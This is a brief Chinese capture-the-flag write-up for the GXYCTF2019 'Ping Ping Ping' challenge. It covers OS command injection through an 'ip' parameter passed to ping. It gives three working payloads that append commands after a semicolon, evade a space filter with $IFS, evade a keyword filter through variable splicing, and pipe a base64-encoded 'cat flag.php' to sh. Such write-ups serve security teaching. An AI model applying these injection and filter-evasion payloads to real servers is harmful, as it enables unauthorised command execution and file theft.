[GXYCTF2019]Ping Ping Ping

打开题目,提示在 url 传入 ip 参数

传入 127.0.0.1 发现服务器执行 ping 命令

用分号拼接 linux 命令(顺便复习一下命令连接符分号是依次顺序执行;&&第一个命令成功第二个命令才会执行;||第一个命令成功第二个命令不执行,第一个命令失败第二个执行;|是命令1的正确输出作为命令2的操作对象)

过滤了空格,$IFS$9 绕过后也无法直接读取 flag.php,先读一下 index.php(若不过滤的话,还有 ${IFS}、<、<> 等多种方式可以绕过过滤空格)

payload1,内联执行,将反引号内命令的输出作为输入执行

/?ip=127.0.0.1;cat$IFS$1`ls`

payload2,命令执行变量拼接

/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

payload3,过滤 flag、bash,用 sh 执行(Y2F0IGZsYWcucGhw 是 cat flag.php 的 base64-encode)

/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

参考:

https://www.ghtwf01.cn/index.php/archives/273/

原文地址:https://www.cnblogs.com/wkzb/p/13721899.html